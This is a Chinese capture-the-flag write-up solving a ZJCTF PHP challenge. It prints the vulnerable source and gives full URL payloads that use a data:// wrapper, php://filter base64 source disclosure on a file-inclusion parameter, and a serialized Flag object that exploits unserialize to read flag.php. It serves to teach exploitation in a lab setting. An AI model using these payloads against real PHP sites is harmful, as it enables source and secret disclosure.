考察PHP伪协议+反序列化,都比较简单
进入题目给出源码:
<?php $text = $_GET["text"]; $file = $_GET["file"]; $password = $_GET["password"]; if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){ echo "<br><h1>".file_get_contents($text,'r')."</h1></br>"; if(preg_match("/flag/",$file)){ echo "Not now!"; exit(); }else{ include($file); //useless.php $password = unserialize($password); echo $password; } } else{ highlight_file(__FILE__); } ?>
分析一下,首先是要求参数text file_get_contents的值等于welcome to the zjctf,用data伪协议,老套路了。
接下来是一个文件包含参数file中的文件,正则过滤了flag,同时给出了提示useless.php,这里可以用php://filter伪协议得到源码。
下面看看到unseriallize()函数不难想到反序列化,但是没有发现可利用的点,所以突破点还是在useless.php文件上。
构造第一个Payload来读一下useless.php的源码:
?text=data://text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php
得到useless.php源码:
<?php class Flag{ //flag.php public $file; public function __tostring(){ if(isset($this->file)){ echo file_get_contents($this->file); echo "<br>"; return ("U R SO CLOSE !///COME ON PLZ"); } } } ?>
可以看到这里其实才是题目的突破点,结合上面的
$password = unserialize($password); echo $password;
我们可以看到如果我们向参数password传一个Flag类中file的值,那么Flag类会得到并输出file的值,这里需要注意的是Flag类中的变量file和全局代码中的变量file不是同一个变量。
构造反序列化Payload:
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
得到最终的Payload:
?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
得到Flag: